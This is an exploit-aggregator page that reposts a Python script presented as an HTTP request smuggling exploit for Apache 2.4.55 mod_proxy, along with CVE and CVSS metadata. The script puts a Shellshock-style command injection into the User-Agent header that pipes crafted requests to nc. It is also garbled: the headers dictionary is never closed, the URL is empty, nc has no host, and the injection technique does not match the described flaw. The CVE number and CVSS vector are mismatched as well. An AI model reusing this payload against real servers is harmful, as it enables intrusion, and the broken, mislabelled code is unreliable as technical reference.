Apache 2.4.55 mod_proxy HTTP Request Smuggling

CVE Category Price Severity
CVE-2021-35028 CWE-93 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2024-01-02
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Apache 2.4.55 mod_proxy HTTP Request Smuggling
# Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through
# 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected
# when mod_proxy is enabled along with some form of RewriteRule or
# ProxyPassMatch in which a non-specific pattern matches some portion of the
# user-supplied request-target (URL) data and is then re-inserted into the
# proxied request-target using variable substitution. For example, something
# like: RewriteEngine on RewriteRule "^/here/(.*)" "
#$1"; [P] ProxyPassReverse /here/
# Request splitting/smuggling could result in bypass
# of access controls in the proxy server, proxying unintended URLs to
# existing origin servers, and cache poisoning. Users are recommended to
# update to at least version 2.4.56 of Apache HTTP Server.

import requests

def send_exploit(proxy_url):
    exploit_headers = {
        'User-Agent': '() { :; }; /bin/echo -e "GET /here/../here HTTP/1.1\r\nHost:\r\n\r\nGET /nonexistent HTTP/1.1\r\nHost:\r\n\r\n" | nc 80',
        'Connection': 'close'

    exploit_url = ''
    response = requests.get(exploit_url, headers=exploit_headers, proxies={'http': proxy_url, 'https': proxy_url})


# Usage

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